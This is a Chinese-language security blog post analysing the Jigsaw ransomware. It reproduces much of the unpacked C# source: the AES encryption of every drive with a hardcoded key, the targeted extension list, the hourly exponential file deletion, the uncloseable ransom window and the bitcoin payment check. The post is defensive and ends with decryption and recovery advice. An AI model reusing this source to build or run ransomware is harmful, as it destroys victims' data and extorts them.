近期通过团队威胁情报监控发现浏览安全情报[1]是一个勒索软件,会把握受害人心理,一点一点删除文件来威胁受害者。于是找到个样本分析。
来源: app.any.run
md5: 2773e3dc59472296cb0024ba7715a64e
文件名: jigsaw.bin
使用exeinfope加载,得到
加了ConfuseEx壳,去Google看看有没已有的壳,找到了[2],下载下来,执行脱壳操作
> ConfuserEx-Unpacker-v2.0binConfuserEx-Unpacker.exe jigsaw.binjigsaw.bin
主函数new了一个FormBackground,初始化参数后调用this.InitializeComponent();
private void InitializeComponent()
{
this.components = new Container();
this.timerActivateChecker = new Timer(this.components);
base.SuspendLayout();
this.timerActivateChecker.Enabled = true;
this.timerActivateChecker.Tick += this.timerActivateChecker_Tick;
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(284, 262);
base.Name = "FormBackground";
this.Text = "Form1";
base.ResumeLayout(false);
}
首先设置一个计时器,定期调用timerActivateChecker_Tick
方法,并且设置标题和名称后恢复显示
private void timerActivateChecker_Tick(object sender, EventArgs e)
{
if (Config.Activated)
{
return;
}
if (!Hacking.ShouldActivate())
{
return;
}
Config.Activated = true;
Locker.EncryptFileSystem();
new FormGame().Show(this);
}
首先检查Activated
防止重复执行,然后加密文件系统,并显示FormGame
internal static void EncryptFileSystem()
{
HashSet<string> extensionsToEncrypt = new HashSet<string>(Locker.GetExtensionsToEncrypt());
foreach (string dirPath in from drive in DriveInfo.GetDrives()
select drive.RootDirectory.FullName)
{
Locker.EncryptFiles(dirPath, ".fun", extensionsToEncrypt);
}
if (!File.Exists(Locker.EncryptedFileListPath))
{
string[] contents = Locker.EncryptedFiles.ToArray<string>();
File.WriteAllLines(Locker.EncryptedFileListPath, contents);
}
}
首先设置要加密的文件扩展名,这些内容写在资源文件中,包括如下
.jpg .jpeg .raw .tif .gif .png .bmprn.3dm .maxrn.accdb .db .dbf .mdb .pdb .sqlrn.dwg .dxfrn.c .cpp .cs .h .php .asp .rb .java .jar .class .py .jsrn.aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .asrn.txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldmrn.wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8rn.dat .csv .efx .sdf .vcf .xml .sesrn.Qbw .QBB .QBM .QBI .QBR rn.Cnt .Des .v30 .Qbo .Ini .Lgb .Qwc .Qbp .Aif .Qba .Tlg .Qbx .Qby rn.1pa .Qpd .Txt .Set .Iif rn.Nd .Rtp .Tlg .Wav .Qsm .Qss .Qst .Fx0 .Fx1 .Mx0 .FPx .Fxr .Fim .ptb .Ai .Pfb .Cgn .Vsd .Cdr .Cmx .Cpt .Csl .Cur .Des .Dsf .Ds4rn .Drw .Dwg.Eps .Ps .Prn .Gif .Pcd .Pct .Pcx .Plt .Rif .Svg .Swf .Tga .Tiff .Psp .Ttf .Wpd .Wpg .Wi .Raw .Wmf .Txt .Cal .Cpx .Shw .Clk .Cdx .Cdt .Fpx .Fmv .Img .Gem .Xcf .Pic .Mac .Met rn.PP4 .Pp5 .Ppf .Xls .Xlsx .Xlsm .Ppt .Nap .Pat .Ps .Prn .Sct .Vsd .wk3 .wk4 .XPM .zip .rar
然后枚举文件并加密
private static void EncryptFiles(string dirPath, string encryptionExtension, HashSet<string> extensionsToEncrypt)
{
IEnumerable<string> files = Locker.GetFiles(dirPath);
Func<string, IEnumerable<string>> <>9__0;
Func<string, IEnumerable<string>> collectionSelector;
if ((collectionSelector = <>9__0) == null)
{
collectionSelector = (<>9__0 = ((string file) => extensionsToEncrypt));
}
foreach (string text in from <>h__TransparentIdentifier0 in files.SelectMany(collectionSelector, (string file, string ext) => new
{
file,
ext
})
where <>h__TransparentIdentifier0.file.EndsWith(<>h__TransparentIdentifier0.ext)
select <>h__TransparentIdentifier0.file into file
select new
{
file = file,
fi = new FileInfo(file)
} into t
where t.fi.Length < 10000000L
select t.file)
{
try
{
if (Locker.EncryptFile(text, encryptionExtension))
{
Locker.EncryptedFiles.Add(text);
}
}
catch{}
}
}
加密时还考虑到了文件大小不大于10000000字节,加密后的文件扩展名为.fun
,加密成果后会添加到文件列表中
private static bool EncryptFile(string path, string encryptionExtension)
{
try
{
if (Config.StartMode != Config.StartModeType.Debug && (path.StartsWith(Config.WorkFolderPath, StringComparison.InvariantCulture) || path.StartsWith("C:\Windows", StringComparison.InvariantCultureIgnoreCase)))
{
return false;
}
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
aesCryptoServiceProvider.IV = new byte[]
{0,1,0,3,5,3,0,1,0,0,2,0,6,7,6,0
};
Locker.EncryptFile(aesCryptoServiceProvider, path, path + encryptionExtension);
}
}
catch
{
return false;
}
try
{
File.Delete(path);
}
catch (Exception)
{
return false;
}
return true;
}
实际加密使用AES算法,但是对于程序自身目录不加密,Windows目录不加密。但是加密的key和IV是固定的,所以文件可以解密。
另外下面还有个解密函数
private static void DecryptFile(string path, string encryptionExtension)
{
try
{
if (!path.EndsWith(encryptionExtension))
{
return;
}
string outputFile = path.Remove(path.Length - 4);
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
aesCryptoServiceProvider.IV = new byte[]
{//...
};
Locker.DecryptFile(aesCryptoServiceProvider, path, outputFile);
}//...
}
回到Main.Tools.Locker
类,加密之后会将文件列表保存在WorkdirEncryptedFileList.txt
中
构造函数调用了一个方法
private void InitializeComponent()
{
this.components = new Container();
this.labelWelcome = new Label();
this.timerTypingEffect = new Timer(this.components);
this.labelTask = new Label();
this.textBoxAddress = new TextBox();
this.buttonCheckPayment = new Button();
this.buttonViewEncryptedFiles = new Button();
this.timerCountDown = new Timer(this.components);
this.labelCountDown = new Label();
this.labelFilesToDelete = new Label();
base.SuspendLayout();
this.labelWelcome.AutoSize = true;
this.labelWelcome.BackColor = Color.Black;
this.labelWelcome.Font = new Font("Lucida Console", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.labelWelcome.ForeColor = Color.Lime;
this.labelWelcome.Location = new Point(25, 29);
this.labelWelcome.Name = "labelWelcome";
this.labelWelcome.Size = new Size(218, 16);
this.labelWelcome.TabIndex = 0;
this.labelWelcome.Text = "I want to play a game";
this.timerTypingEffect.Tick += this.timerTypingEffect_Tick;
this.labelTask.AutoSize = true;
this.labelTask.BackColor = Color.Black;
this.labelTask.Font = new Font("Lucida Console", 12f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.labelTask.ForeColor = Color.Lime;
this.labelTask.Location = new Point(25, 505);
this.labelTask.Name = "labelTask";
this.labelTask.Size = new Size(239, 16);
this.labelTask.TabIndex = 1;
this.labelTask.Text = "All you have to do...";
this.textBoxAddress.Location = new Point(28, 524);
this.textBoxAddress.Name = "textBoxAddress";
this.textBoxAddress.Size = new Size(348, 20);
this.textBoxAddress.TabIndex = 2;
this.textBoxAddress.Text = "12Xspzstah37626slkwKhsKSHA";
this.buttonCheckPayment.BackColor = Color.Gold;
this.buttonCheckPayment.Location = new Point(28, 551);
this.buttonCheckPayment.Name = "buttonCheckPayment";
this.buttonCheckPayment.Size = new Size(348, 33);
this.buttonCheckPayment.TabIndex = 3;
this.buttonCheckPayment.Text = "I made a payment, now give me back my files!";
this.buttonCheckPayment.UseVisualStyleBackColor = false;
this.buttonCheckPayment.Click += this.buttonCheckPayment_Click;
this.buttonViewEncryptedFiles.BackColor = Color.Gray;
this.buttonViewEncryptedFiles.Location = new Point(28, 479);
this.buttonViewEncryptedFiles.Name = "buttonViewEncryptedFiles";
this.buttonViewEncryptedFiles.Size = new Size(348, 23);
this.buttonViewEncryptedFiles.TabIndex = 4;
this.buttonViewEncryptedFiles.Text = "View encrypted files";
this.buttonViewEncryptedFiles.UseVisualStyleBackColor = false;
this.buttonViewEncryptedFiles.Click += this.buttonViewEncryptedFiles_Click;
this.timerCountDown.Interval = 1000;
this.timerCountDown.Tick += this.timerCountDown_Tick;
this.labelCountDown.AutoSize = true;
this.labelCountDown.BackColor = Color.Black;
this.labelCountDown.BorderStyle = BorderStyle.Fixed3D;
this.labelCountDown.Font = new Font("Lucida Sans Unicode", 48f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.labelCountDown.ForeColor = Color.DarkRed;
this.labelCountDown.Location = new Point(28, 320);
this.labelCountDown.Name = "labelCountDown";
this.labelCountDown.Size = new Size(220, 80);
this.labelCountDown.TabIndex = 5;
this.labelCountDown.Text = "59:59";
this.labelFilesToDelete.AutoSize = true;
this.labelFilesToDelete.BackColor = Color.Black;
this.labelFilesToDelete.Font = new Font("Lucida Console", 12f, FontStyle.Bold);
this.labelFilesToDelete.ForeColor = Color.Lime;
this.labelFilesToDelete.Location = new Point(24, 455);
this.labelFilesToDelete.Name = "labelFilesToDelete";
this.labelFilesToDelete.Size = new Size(261, 16);
this.labelFilesToDelete.TabIndex = 6;
this.labelFilesToDelete.Text = "1 file will be deleted.";
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
this.BackgroundImage = Resources.Jigsaw;
base.ClientSize = new Size(840, 596);
base.Controls.Add(this.labelFilesToDelete);
base.Controls.Add(this.labelCountDown);
base.Controls.Add(this.buttonViewEncryptedFiles);
base.Controls.Add(this.buttonCheckPayment);
base.Controls.Add(this.textBoxAddress);
base.Controls.Add(this.labelTask);
base.Controls.Add(this.labelWelcome);
base.Name = "FormGame";
base.FormClosing += this.FormGame_FormClosing;
base.Load += this.FormGame_Load;
base.ResumeLayout(false);
base.PerformLayout();
}
主要有一下要素
12Xspzstah37626slkwKhsKSHA
。需要注意的是这里的地址并不是最终地址,而是为了可扩展性放在Config
类中的地址timerCountDown_Tick
FormGame_FormClosing
FormGame_Load
buttonCheckPayment_Click
private void timerCountDown_Tick(object sender, EventArgs e)
{
if (FormGame._timeLeftSec > 0)
{
FormGame._timeLeftSec--;
int num = FormGame._timeLeftSec / 60;
int num2 = FormGame._timeLeftSec % 60;
this.labelCountDown.Text = num + ":" + num2;
return;
}
FormGame._timeLeftSec = 3600;
int num3 = (int)Math.Pow(1.1, (double)FormGame._exponent);
this.labelFilesToDelete.Text = num3 + " files will be deleted";
FormGame._exponent++;
FormGame.DeleteFiles(num3);
}
每隔一小时删除一定数量的文件,删除的文件数量为以1.1
为底呈指数增长的数字。
随着时间的推移,受害者的越来越多的文件会被删除,多少有点杀人诛心了。
private void FormGame_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
MessageBox.Show(this, "You are about to make a very bad decision. Are you sure about it?");
}
禁止关闭窗口,并显示一个有警告意味的弹窗
private void FormGame_Load(object sender, EventArgs e)
{
base.MaximizeBox = false;
base.MinimizeBox = false;
base.StartPosition = FormStartPosition.CenterScreen;
Windows.MakeTopMost(this);
this.timerTypingEffect.Interval = 125;
this.timerTypingEffect.Enabled = true;
this.labelWelcome.Text = "";
this.labelTask.Text = Config.TaskMessage;
this.labelTask.Visible = false;
this.textBoxAddress.ReadOnly = true;
this.textBoxAddress.Text = FormGame.GetBitcoinAddess();
this.textBoxAddress.Visible = false;
this.buttonCheckPayment.Visible = false;
this.buttonViewEncryptedFiles.Visible = false;
this.labelCountDown.Visible = false;
this.timerCountDown.Enabled = false;
this.labelFilesToDelete.Visible = false;
if (FormGame.DidRun())
{
FormGame.DeleteFiles(1000);
}
}
禁用最大化、最小化、关闭按钮,并且如果已经运行了
private static bool DidRun()
{
string path = Path.Combine(Config.WorkFolderPath, "dr");
if (File.Exists(path))
{
return true;
}
File.WriteAllText(path, "21");
return false;
}
就删除文件。可以看到病毒是以工作目录下的dr
文件确认是否已经运行的
private void buttonCheckPayment_Click(object sender, EventArgs e)
{
try
{
double price = Blockr.GetPrice();
int num = (int)(Blockr.GetBalanceBtc(FormGame.GetBitcoinAddess()) * price);
if (num > Config.RansomUsd)
{
this.timerCountDown.Stop();
this.buttonCheckPayment.Enabled = false;
this.buttonCheckPayment.BackColor = Color.Lime;
this.buttonCheckPayment.Text = "Great job, I'm decrypting your files...";
MessageBox.Show(this, "Decrypting your files. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
Locker.DecryptFiles(".fun");
Hacking.RemoveItself();
}
else if (num > 0)
{
this.buttonCheckPayment.BackColor = Color.Tomato;
this.buttonCheckPayment.Text = "You did not sent me enough! Try again!";
}
else
{
this.buttonCheckPayment.BackColor = Color.Tomato;
this.buttonCheckPayment.Text = "You haven't made payment yet! Try again!";
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
this.buttonCheckPayment.Text = "Are you connected to the internet? Try again!";
this.buttonCheckPayment.BackColor = Color.Tomato;
}
}
检查钱包中的比特币换算成美元是否达到要求的数值,如果已经支付就解密文件。
总体来说病毒逻辑不算困难,但是会拿捏人的心理,一点一点删除受害者的文件,让受害者逐步崩溃。根据[1],该勒索软件可能是医生开发,可以说非常专业了。
如果中招了不要慌,立即拔除电源并重启,使用文件中的密钥和IV解密即可。即使有部分文件删除了,也可以尝试通过磁盘恢复工具恢复。当然,保险的方法当然是另找一台计算机,放上磁盘后解密。
[1] https://www.anquanke.com/post/id/273321
[2] https://www.youtube.com/watch?v=OWFZOyibu3s
[3] https://www.cyberdonald.com/post/jigsaw-ransomware-analyses
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180571.html